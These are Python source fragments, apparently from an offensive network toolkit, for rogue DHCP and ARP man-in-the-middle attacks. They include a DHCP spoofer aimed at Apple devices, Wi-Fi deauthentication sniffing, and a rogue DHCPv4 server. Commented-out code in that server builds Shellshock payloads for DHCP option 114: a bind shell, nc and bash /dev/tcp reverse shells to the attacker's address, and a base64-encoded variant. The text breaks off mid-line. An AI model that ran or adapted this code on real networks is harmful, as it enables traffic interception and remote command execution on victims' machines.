def _deauth_stop_sniffer(self): # region Set network filter network_filters = {'Ethernet': {'source': self._target['mac-address']}} if self._mitm_technique == 2: network_filters = { 'Ethernet': { 'source': self._target['mac-address'], 'destination': 'ff:ff:ff:ff:ff:ff' }, 'IPv4': { 'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255' }, 'UDP': { 'source-port': 68, 'destination-port': 67 } } # endregion # region Start sniffer sniff = RawSniff() sniff.start(protocols=['IPv4', 'IPv6', 'ICMPv6', 'UDP', 'DHCPv4'], prn=self._deauth_stop_prn, filters=network_filters, network_interface=self._your['network-interface'], scapy_filter='icmp6 or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
def requests_sniffer(source_mac_address: str = '12:34:56:78:90:ab'): # region Set network filter network_filters = {'Ethernet': {'source': source_mac_address}} if technique_index == 2: network_filters = { 'Ethernet': { 'source': source_mac_address, 'destination': 'ff:ff:ff:ff:ff:ff' }, 'IPv4': { 'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255' }, 'UDP': { 'source-port': 68, 'destination-port': 67 } } # endregion # region Start sniffer sniff = RawSniff() sniff.start(protocols=['ARP', 'IPv4', 'IPv6', 'ICMPv6', 'UDP', 'DHCPv4'], prn=requests_sniffer_prn, filters=network_filters)
request[proto][key][value]) print(dumps(request, sort_keys=True, indent=4)) # endregion # region Main function if __name__ == "__main__": # region Print info message base.print_info( "Available protocols: ", "Radiotap 802.11 Ethernet ARP IPv4 IPv6 UDP DNS ICMPv4 DHCPv4 ICMPv6 DHCPv4" ) base.print_info("Start test sniffing ...") # endregion # region Start sniffer sniff = RawSniff() sniff.start(protocols=['IPv4', 'IPv6', 'UDP', 'DNS', 'ICMPv4'], prn=print_packet, filters={'UDP': { 'source-port': 53 }}) # sniff.start(protocols=['Radiotap', '802.11'], prn=print_packet, # network_interface='wlan0', filters={'802.11': {'type': 0x88, 'bss id': '70:f1:1c:15:15:b8'}}) # endregion # endregion
# region Main function if __name__ == "__main__": path.append(dirname(dirname(dirname(abspath(__file__))))) from raw_packet.Utils.base import Base from raw_packet.Utils.network import RawEthernet from raw_packet.Utils.network import RawRadiotap from raw_packet.Utils.network import RawIEEE80211 from raw_packet.Utils.network import RawSniff from raw_packet.Utils.tm import ThreadManager base: Base = Base() eth: RawEthernet = RawEthernet() radio: RawRadiotap = RawRadiotap() iee: RawIEEE80211 = RawIEEE80211() tm: ThreadManager = ThreadManager(2) sniff: RawSniff = RawSniff() # region Start sniffer raw_socket.bind(('wlan0', 0)) init_deauth() print('test') sniff.start(protocols=['Radiotap', '802.11'], prn=deauth, network_interface='wlan0', filters={'802.11': {'type': 0xc0, 'bss id': bss_id, 'source': client, 'destination': bss_id}}) # endregion # endregion
class AppleDHCPServer: # region Variables _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) _utils: Utils = Utils() _arp: RawARP = RawARP() _sniff: RawSniff = RawSniff() _dhcpv4: RawDHCPv4 = RawDHCPv4() _thread_manager: ThreadManager = ThreadManager(15) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv4-address': None } _target: Dict[str, Union[None, str]] = { 'ipv4-address': None, 'mac-address': None } _requested_ip: Union[None, str] = None _new_transaction_id: int = 0 _print_possible_mitm: bool = False _print_success_mitm: bool = False _broadcast: bool = False _quiet: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address' ]) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start def start(self, target_ip_address: str, target_mac_address: str, broadcast: bool = False, quiet: bool = False): try: # region Set variables self._broadcast = broadcast self._quiet = quiet # endregion # region Check target MAC and IPv4 address self._target['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=target_ip_address, is_local_ipv4_address=True, parameter_name='target IPv4 address') self._target['mac-address'] = \ self._utils.check_mac_address(mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Start Sniffer if not self._quiet: self._base.print_info( 'Waiting for a ARP or DHCPv4 requests from: ', self._target['mac-address']) self._sniff.start( protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters={ 'Ethernet': { 'source': self._target['mac-address'] }, 'ARP': { 'opcode': 1 }, 'IPv4': { 'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255' }, 'UDP': { 'source-port': 68, 'destination-port': 67 } }, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target['mac-address' ]) # endregion except AssertionError as Error: if not self._quiet: self._base.print_error(Error.args[0]) exit(1) except KeyboardInterrupt: if not self._quiet: self._base.print_info('Exit') exit(0) # endregion # region DHCP response sender def _dhcp_response_sender(self): if self._broadcast: offer_packet = self._dhcpv4.make_offer_packet( ethernet_src_mac=self._your['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) ack_packet = self._dhcpv4.make_ack_packet( ethernet_src_mac=self._your['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) else: offer_packet = self._dhcpv4.make_offer_packet( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) ack_packet = self._dhcpv4.make_ack_packet( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) start_time: datetime = datetime.now() if self._base.get_platform().startswith('Linux'): while (datetime.now() - start_time).seconds <= 15: self._raw_send.send_packet(offer_packet) self._raw_send.send_packet(ack_packet) sleep(0.00001) else: while (datetime.now() - start_time).seconds <= 15: self._raw_send.send_packet(offer_packet) self._raw_send.send_packet(ack_packet) # endregion # region Reply to DHCP and ARP requests def _reply(self, request: Dict[str, Dict[Union[int, str], Union[int, str]]]): # region DHCP REQUESTS if 'DHCPv4' in request.keys(): # region Get DHCP transaction id transaction_id = request['BOOTP']['transaction-id'] # endregion # region DHCP DECLINE if request['DHCPv4'][53] == 4: self._base.print_info('DHCP DECLINE from: ', self._target['mac-address']) if self._new_transaction_id != 0: self._thread_manager.add_task(self._dhcp_response_sender) # endregion # region DHCP REQUEST if request['DHCPv4'][53] == 3: # region Get next DHCP transaction id if transaction_id != 0: self._new_transaction_id = transaction_id + 1 self._base.print_info('Current transaction id: ', hex(transaction_id)) self._base.print_success('Next transaction id: ', hex(self._new_transaction_id)) # endregion # region Get DHCP requested ip address if 50 in request['DHCPv4'].keys(): self._requested_ip = str(request['DHCPv4'][50]) # endregion # region Print info message self._base.print_info('DHCP REQUEST from: ', self._target['mac-address'], ' transaction id: ', hex(transaction_id), ' requested ip: ', self._requested_ip) # endregion # region If requested IP is target IP - print Possible mitm success if self._requested_ip == self._target['ipv4-address']: if not self._print_possible_mitm: self._base.print_warning( 'Possible MiTM success: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._print_possible_mitm = True # endregion # endregion # endregion # region ARP REQUESTS if 'ARP' in request.keys(): if self._requested_ip is not None: if request['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ request['ARP']['target-mac'] == '00:00:00:00:00:00': # region Set local variables arp_sender_mac_address = request['ARP']['sender-mac'] arp_sender_ip_address = request['ARP']['sender-ip'] arp_target_ip_address = request['ARP']['target-ip'] # endregion # region Print info message self._base.print_info( 'ARP request from: ', arp_sender_mac_address, ' "', 'Who has ' + arp_target_ip_address + '? Tell ' + arp_sender_ip_address, '"') # endregion # region ARP target IP is DHCP requested IP if arp_target_ip_address == self._requested_ip: # region If ARP target IP is target IP - print Possible mitm success if arp_target_ip_address == self._target[ 'ipv4-address']: if not self._print_possible_mitm: self._base.print_warning( 'Possible MiTM success: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._print_possible_mitm = True # endregion # region If ARP target IP is not target IP - send 'IPv4 address conflict' ARP response else: arp_reply = self._arp.make_response( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._requested_ip, target_mac=arp_sender_mac_address, target_ip=arp_sender_ip_address) for _ in range(5): self._raw_send.send_packet(arp_reply) self._base.print_info( 'ARP response to: ', arp_sender_mac_address, ' "', arp_target_ip_address + ' is at ' + self._your['mac-address'], '" (IPv4 address conflict)') # endregion # endregion # region ARP target IP is your IP - MITM SUCCESS if arp_target_ip_address == self._your['ipv4-address']: if not self._print_success_mitm: self._base.print_success( 'MITM success: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._print_success_mitm = True exit(0)
class DHCPv4Server: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _arp: RawARP = RawARP() _eth: RawEthernet = RawEthernet() _dhcpv4: RawDHCPv4 = RawDHCPv4() _thread_manager: ThreadManager = ThreadManager(10) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv4-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv4-address': None } _domain_search: Union[None, bytes] = None _free_ip_addresses: List[str] = list() _clients: Dict[str, Union[str, Dict[str, Union[bool, str]]]] = dict() _lease_time: int = 172800 _shellshock_option_code: int = 114 _discover_sender_is_work: bool = False _discover_sender_delay: float = 0.25 _send_dhcp_discover_packets: bool = False _send_dhcp_offer_packets: bool = True _send_broadcast_dhcp_response: bool = False _exit_on_success: bool = False _apple: bool = False _quiet: bool = True # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'ipv4-netmask', 'first-ipv4-address', 'second-ipv4-address', 'penultimate-ipv4-address', 'last-ipv4-address' ]) self._ipv4_network_mask: str = self._your['ipv4-netmask'] self._first_offer_ipv4_address: str = self._your['second-ipv4-address'] self._last_offer_ipv4_address: str = self._your[ 'penultimate-ipv4-address'] self._dhcp_server_mac_address: str = self._your['mac-address'] self._dhcp_server_ipv4_address: str = self._your['ipv4-address'] self._dns_server_ipv4_address: str = self._your['ipv4-address'] self._tftp_server_ipv4_address: str = self._your['ipv4-address'] self._wins_server_ipv4_address: str = self._your['ipv4-address'] self._router_ipv4_address: str = self._your['ipv4-address'] self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start DHCPv4 server def start(self, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, ipv4_network_mask: Union[None, str] = None, first_offer_ipv4_address: Union[None, str] = None, last_offer_ipv4_address: Union[None, str] = None, dhcp_server_mac_address: Union[None, str] = None, dhcp_server_ipv4_address: Union[None, str] = None, dns_server_ipv4_address: Union[None, str] = None, tftp_server_ipv4_address: Union[None, str] = None, wins_server_ipv4_address: Union[None, str] = None, router_ipv4_address: Union[None, str] = None, domain_search: str = 'domain.local', lease_time: int = 172800, shellshock_option_code: int = 114, send_dhcp_discover_packets: bool = False, send_dhcp_offer_packets: bool = False, send_broadcast_dhcp_response: bool = False, exit_on_success: bool = False, apple: bool = False, quiet: bool = False): # region Set variables self._lease_time = lease_time self._domain_search = domain_search.encode('utf-8') self._send_dhcp_discover_packets = send_dhcp_discover_packets self._send_dhcp_offer_packets = send_dhcp_offer_packets self._send_broadcast_dhcp_response = send_broadcast_dhcp_response self._exit_on_success = exit_on_success self._apple = apple self._quiet = quiet # endregion # region Get your network settings if ipv4_network_mask is not None: self._ipv4_network_mask = ipv4_network_mask # endregion # region Set target MAC and IP address, if target IP is not set - get first and last offer IP # region Target MAC address is set if target_mac_address is not None: self._target['mac-address'] = self._utils.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IP is set if target_ipv4_address is not None: assert self._target['mac-address'] is not None, \ 'Please set target MAC address' + \ ', for target IP address: ' + self._base.info_text(target_ipv4_address) self._target['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=target_ipv4_address, parameter_name='target IPv4 address') # endregion # region Target IP is not set - get first and last offer IP else: # Check first offer IP address if first_offer_ipv4_address is not None: self._first_offer_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=first_offer_ipv4_address, parameter_name='first offer IPv4 address') # Check last offer IP address if last_offer_ipv4_address is not None: self._last_offer_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=last_offer_ipv4_address, parameter_name='last offer IPv4 address') # endregion # endregion # region Set DHCP sever MAC and IP address if dhcp_server_mac_address is not None: self._dhcp_server_mac_address = \ self._utils.check_mac_address(mac_address=dhcp_server_mac_address, parameter_name='DHCPv4 server MAC address') if dhcp_server_ipv4_address is not None: self._dhcp_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=dhcp_server_ipv4_address, parameter_name='DHCPv4 server IPv4 address') # endregion # region Set router, dns, tftp, wins IP address # region Set router IP address if router_ipv4_address is not None: self._router_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=dhcp_server_ipv4_address, parameter_name='router IPv4 address') # endregion # region Set DNS server IP address if dns_server_ipv4_address is not None: assert self._base.ip_address_validation(dns_server_ipv4_address), \ 'Bad DNS server IPv4 address: ' + self._base.info_text(dns_server_ipv4_address) self._dns_server_ipv4_address = dns_server_ipv4_address # endregion # region Set TFTP server IP address if tftp_server_ipv4_address is not None: self._tftp_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=tftp_server_ipv4_address, parameter_name='TFTP server IPv4 address') # endregion # region Set WINS server IP address if wins_server_ipv4_address is not None: self._wins_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=tftp_server_ipv4_address, parameter_name='WINS server IPv4 address') # endregion # endregion # region Set Shellshock option code if 255 < shellshock_option_code < 0: self._base.print_error( 'Bad Shellshock option code: ', str(shellshock_option_code), '; This value should be in the range from 1 to 254') exit(1) else: self._shellshock_option_code = shellshock_option_code # endregion # region General output if not self._quiet: self._base.print_info('Network interface: ', self._your['network-interface']) self._base.print_info('Your IP address: ', self._your['ipv4-address']) self._base.print_info('Your MAC address: ', self._your['mac-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC: ', self._target['mac-address']) # If target IP address is set print target IP, else print first and last offer IP if self._target['ipv4-address'] is not None: self._base.print_info('Target IP: ', self._target['ipv4-address']) else: self._base.print_info('First offer IP: ', self._first_offer_ipv4_address) self._base.print_info('Last offer IP: ', self._last_offer_ipv4_address) self._base.print_info('DHCP server mac address: ', self._dhcp_server_mac_address) self._base.print_info('DHCP server ip address: ', self._dhcp_server_ipv4_address) self._base.print_info('Router IP address: ', self._router_ipv4_address) self._base.print_info('DNS server IP address: ', self._dns_server_ipv4_address) self._base.print_info('TFTP server IP address: ', self._tftp_server_ipv4_address) self._base.print_info('WINS server IP address: ', self._wins_server_ipv4_address) # endregion # region Add ip addresses in list with free ip addresses from first to last offer IP if self._target['ipv4-address'] is None: self._base.print_info( 'Create list with free IP addresses in your network ...') self._free_ip_addresses = \ self._utils.get_free_ipv4_addresses(network_interface=self._your['network-interface'], first_ipv4_address=self._first_offer_ipv4_address, last_ipv4_address=last_offer_ipv4_address, quiet=self._quiet) # endregion # region Send DHCP discover packets in the background thread if self._send_dhcp_discover_packets: if not self._quiet: self._base.print_info( 'Start DHCP discover packets send in the background thread ...' ) self._base.print_info('Delay between DHCP discover packets: ', str(self._discover_sender_delay)) self._thread_manager.add_task(self._discover_sender) # endregion # region Sniff network # region Print info message self._base.print_info('Waiting for a ARP or DHCP requests ...') # endregion # region Set sniff filters sniff_filters: Dict = { 'Ethernet': { 'not-source': self._your['mac-address'] }, 'ARP': { 'opcode': 1 }, 'UDP': { 'destination-port': 67, 'source-port': 68 } } scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address'] if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = {'source': self._target['mac-address']} scapy_lfilter: Any = lambda eth: eth.src == self._target[ 'mac-address'] # endregion # region Start sniffer self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=scapy_lfilter) # endregion # endregion # endregion # region Add client info in clients dictionary def _add_client_info_in_dictionary( self, client_mac_address: str, client_info: Union[bool, str, Dict[str, Union[bool, str]]], this_client_already_in_dictionary: bool = False) -> None: if this_client_already_in_dictionary: self._clients[client_mac_address].update(client_info) else: self._clients[client_mac_address] = client_info # endregion # region Make DHCP offer packet def _make_dhcp_offer_packet( self, transaction_id: int, offer_ip: str, client_mac: str, destination_mac: Union[None, str] = None, destination_ip: Union[None, str] = None) -> Union[None, bytes]: if destination_mac is None: destination_mac = 'ff:ff:ff:ff:ff:ff' if destination_ip is None: destination_ip = '255.255.255.255' return self._dhcpv4.make_response_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=destination_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=destination_ip, transaction_id=transaction_id, dhcp_message_type=2, your_client_ip=offer_ip, client_mac=client_mac, dhcp_server_id=self._dhcp_server_ipv4_address, lease_time=self._lease_time, netmask=self._ipv4_network_mask, router=self._router_ipv4_address, dns=self._dns_server_ipv4_address, payload=None) # endregion # region Make DHCP ack packet def _make_dhcp_ack_packet( self, transaction_id: int, target_mac: str, target_ip: str, destination_mac: Union[None, str] = None, destination_ip: Union[None, str] = None, shellshock_payload: Union[None, str] = None) -> Union[None, bytes]: if destination_mac is None: destination_mac: str = 'ff:ff:ff:ff:ff:ff' if destination_ip is None: destination_ip: str = '255.255.255.255' return self._dhcpv4.make_response_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=destination_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=destination_ip, transaction_id=transaction_id, dhcp_message_type=5, your_client_ip=target_ip, client_mac=target_mac, dhcp_server_id=self._dhcp_server_ipv4_address, lease_time=self._lease_time, netmask=self._ipv4_network_mask, router=self._router_ipv4_address, dns=self._dns_server_ipv4_address, payload=shellshock_payload, payload_option_code=self._shellshock_option_code, domain=self._domain_search, tftp=self._tftp_server_ipv4_address, wins=self._wins_server_ipv4_address) # endregion # region Make DHCP nak packet def _make_dhcp_nak_packet(self, transaction_id: int, target_mac: str, target_ip: str, requested_ip: str) -> Union[None, bytes]: return self._dhcpv4.make_nak_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=target_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=requested_ip, transaction_id=transaction_id, your_client_ip=target_ip, client_mac=target_mac, dhcp_server_id=self._dhcp_server_ipv4_address) # endregion # region Send DHCP discover packets def _discover_sender(self, number_of_packets=999999) -> None: packet_index = 0 self._discover_sender_is_work = True while packet_index < number_of_packets: try: self._raw_send.send_packet( self._dhcpv4.make_discover_packet( ethernet_src_mac=self._your['mac-address'], client_mac=self._eth.make_random_mac(), host_name=self._base.make_random_string(), relay_agent_ip=self._your['ipv4-address'])) sleep(self._discover_sender_delay) except TypeError: self._base.print_error( 'Something went wrong when sending DHCP discover packets!') break packet_index += 1 self._discover_sender_is_work = False # endregion # region Reply to DHCPv4 and ARP requests def _reply(self, packet): # region DHCP if 'DHCPv4' in packet.keys(): # region Get transaction id and client MAC address transaction_id = packet['BOOTP']['transaction-id'] client_mac_address = packet['BOOTP']['client-mac-address'] # endregion # region Check this client already in dict client_already_in_dictionary = False if client_mac_address in self._clients.keys(): client_already_in_dictionary = True # endregion # region DHCP DISCOVER if packet['DHCPv4'][53] == 1: # region Print INFO message self._base.print_info('DHCP DISCOVER from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # endregion # If parameter 'Do not send DHCP OFFER packets' is not set if not self._send_dhcp_offer_packets: # region Start DHCP discover sender if self._send_dhcp_discover_packets: if not self._discover_sender_is_work: self._discover_sender(100) # endregion # If target IP address is set - offer IP = target IP if self._target['ipv4-address'] is not None: offer_ip_address = self._target['ipv4-address'] # If target IP address is not set - offer IP = random IP from free IP addresses list else: random_index = randint(0, len(self._free_ip_addresses)) offer_ip_address = self._free_ip_addresses[ random_index] # Delete offer IP from free IP addresses list del self._free_ip_addresses[random_index] if self._send_broadcast_dhcp_response: offer_packet = \ self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address) else: offer_packet = \ self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address, client_mac_address, offer_ip_address) self._raw_send.send_packet(offer_packet) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'transaction': transaction_id, 'discover': True, 'offer_ip': offer_ip_address }, client_already_in_dictionary) # Print INFO message self._base.print_info('DHCP OFFER to: ', client_mac_address, ' offer IP: ', offer_ip_address) # endregion # region DHCP RELEASE if packet['DHCPv4'][53] == 7: if packet['BOOTP']['client-ip-address'] is not None: client_ip = packet['BOOTP']['client-ip-address'] self._base.print_info( 'DHCP RELEASE from: ', client_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'client_ip': client_ip}, client_already_in_dictionary) # print self._clients # Add release client IP in free IP addresses list if client_ip not in self._free_ip_addresses: self._free_ip_addresses.append(client_ip) else: self._base.print_info('DHCP RELEASE from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'release': True}, client_already_in_dictionary) # print self._clients # endregion # region DHCP INFORM if packet['DHCPv4'][53] == 8: if packet['BOOTP']['client-ip-address'] is not None: client_ip = packet['BOOTP']['client-ip-address'] self._base.print_info( 'DHCP INFORM from: ', client_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # If client IP in free IP addresses list delete this if client_ip in self._free_ip_addresses: self._free_ip_addresses.remove(client_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'client_ip': client_ip}, client_already_in_dictionary) # print self._clients else: self._base.print_info('DHCP INFORM from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'inform': True}, client_already_in_dictionary) # print self._clients # endregion # region DHCP REQUEST if packet['DHCPv4'][53] == 3: # region Set local variables requested_ip = '0.0.0.0' offer_ip = None # endregion # region Get requested IP if 50 in packet['DHCPv4'].keys(): requested_ip = str(packet['DHCPv4'][50]) # endregion # region Print info message self._base.print_info('DHCP REQUEST from: ', client_mac_address, ' transaction id: ', hex(transaction_id), ' requested ip: ', requested_ip) # endregion # region Requested IP not in range from first offer IP to last offer IP if not self._base.ip_address_in_range( requested_ip, self._first_offer_ipv4_address, self._last_offer_ipv4_address): self._base.print_warning( 'Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not in range: ', self._first_offer_ipv4_address + ' - ' + self._last_offer_ipv4_address) # endregion # region Requested IP in range from first offer IP to last offer IP else: # region Start DHCP discover sender if self._send_dhcp_discover_packets: if not self._discover_sender_is_work: self._discover_sender(100) # endregion # region Change client info in global self._clients dictionary # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'packet': True, 'requested_ip': requested_ip, 'transaction': transaction_id }, client_already_in_dictionary) # Delete ARP mitm success keys in dictionary for this client self._clients[client_mac_address].pop( 'client request his ip', None) self._clients[client_mac_address].pop( 'client request router ip', None) self._clients[client_mac_address].pop( 'client request dns ip', None) # endregion # region Get offer IP address try: offer_ip = self._clients[client_mac_address][ 'offer_ip'] except KeyError: pass # endregion # region This client already send DHCP DISCOVER and offer IP != requested IP if offer_ip is not None and offer_ip != requested_ip: # Print error message self._base.print_error('Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not like offer IP: ', offer_ip) # Create and send DHCP nak packet nak_packet = \ self._make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip) self._raw_send.send_packet(nak_packet) self._base.print_info('DHCP NAK to: ', client_mac_address, ' requested ip: ', requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'mitm': 'error: offer ip not like requested ip', 'offer_ip': None }, client_already_in_dictionary) # print self._clients # endregion # region Offer IP == requested IP or this is a first packet from this client else: # region Target IP address is set and requested IP != target IP if self._target[ 'ipv4-address'] is not None and requested_ip != self._target[ 'ipv4-address']: # Print error message self._base.print_error( 'Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not like target IP: ', self._target['ipv4-address']) # Create and send DHCP nak packet nak_packet = self._make_dhcp_nak_packet( transaction_id, client_mac_address, self._target['ipv4-address'], requested_ip) self._raw_send.send_packet(nak_packet) self._base.print_info('DHCP NAK to: ', client_mac_address, ' requested ip: ', requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'mitm': 'error: target ip not like requested ip', 'offer_ip': None, 'nak': True }, client_already_in_dictionary) # endregion # region Target IP address is set and requested IP == target IP or Target IP is not set else: # # region Settings shellshock payload # payload: Union[None, str] = None # shellshock_payload: Union[None, str] = None # # try: # assert args.shellshock_command is not None \ # or args.bind_shell \ # or args.nc_reverse_shell \ # or args.nce_reverse_shell \ # or args.bash_reverse_shell, 'ShellShock not used!' # # region Create payload # # # Network settings command in target machine # net_settings = args.ip_path + 'ip addr add ' + requested_ip + '/' + \ # str(IPAddress(self._ipv4_network_mask).netmask_bits()) + \ # ' dev ' + args.iface_name + ';' # # # Shellshock payload: <user bash command> # if args.shellshock_command is not None: # payload = args.shellshock_command # # # Shellshock payload: # # awk 'BEGIN{s='/inet/tcp/<bind_port>/0/0';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' & # if args.bind_shell: # payload = 'awk \'BEGIN{s=\'/inet/tcp/' + str(args.bind_port) + \ # '/0/0\';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\' &' # # # Shellshock payload: # # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f & # if args.nc_reverse_shell: # payload = 'rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \ # your_ip_address + ' ' + str(args.reverse_port) + ' >/tmp/f &' # # # Shellshock payload: # # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 & # if args.nce_reverse_shell: # payload = '/bin/nc -e /bin/sh ' + your_ip_address + ' ' + str(args.reverse_port) + ' 2>&1 &' # # # Shellshock payload: # # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 & # if args.bash_reverse_shell: # payload = '/bin/bash -i >& /dev/tcp/' + your_ip_address + \ # '/' + str(args.reverse_port) + ' 0>&1 &' # # if payload is not None: # # # Do not add network settings command in payload # if not args.without_network: # payload = net_settings + payload # # # Send payload to target in clear text # if args.without_self._base64: # shellshock_payload = '() { :; }; ' + payload # # # Send self._base64 encoded payload to target in clear text # else: # payload = b64encode(payload) # shellshock_payload = '() { :; }; /bin/sh <(/usr/bin/self._base64 -d <<< ' + payload + ')' # # endregion # # # region Check Shellshock payload length # if shellshock_payload is not None: # if len(shellshock_payload) > 255: # self._base.print_error('Length of shellshock payload is very big! Current length: ', # str(len(shellshock_payload)), ' Maximum length: ', '254') # shellshock_payload = None # # endregion # # except AssertionError: # pass # # endregion # region Send DHCP ack and print info message if self._send_broadcast_dhcp_response: ack_packet = self._make_dhcp_ack_packet( transaction_id=transaction_id, target_mac=client_mac_address, target_ip=requested_ip) else: ack_packet = self._make_dhcp_ack_packet( transaction_id=transaction_id, target_mac=client_mac_address, target_ip=requested_ip, destination_mac=client_mac_address, destination_ip=requested_ip) if self._apple: self._base.print_info('DHCP ACK to: ', client_mac_address, ' requested ip: ', requested_ip) for _ in range(3): self._raw_send.send_packet(ack_packet) sleep(0.2) else: self._raw_send.send_packet(ack_packet) self._base.print_info('DHCP ACK to: ', client_mac_address, ' requested ip: ', requested_ip) # endregion # region Add client info in global self._clients dictionary try: self._clients[client_mac_address].update( {'mitm': 'success'}) except KeyError: self._clients[client_mac_address] = { 'mitm': 'success' } # endregion # endregion # endregion # endregion # endregion # region DHCP DECLINE if packet['DHCPv4'][53] == 4: # Get requested IP requested_ip = '0.0.0.0' if 50 in packet['DHCPv4'].keys(): requested_ip = str(packet['DHCPv4'][50]) # Print info message self._base.print_info( 'DHCP DECLINE from: ', requested_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # If client IP in free IP addresses list delete this if requested_ip in self._free_ip_addresses: self._free_ip_addresses.remove(requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'decline_ip': requested_ip, 'decline': True }, client_already_in_dictionary) # print self._clients # endregion # endregion DHCP # region ARP if 'ARP' in packet.keys(): if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ packet['ARP']['target-mac'] == '00:00:00:00:00:00': # region Set local variables arp_sender_mac_address = packet['ARP']['sender-mac'] arp_sender_ip_address = packet['ARP']['sender-ip'] arp_target_ip_address = packet['ARP']['target-ip'] # endregion # region Print info message self._base.print_info('ARP packet from: ', arp_sender_mac_address, ' "Who has ', 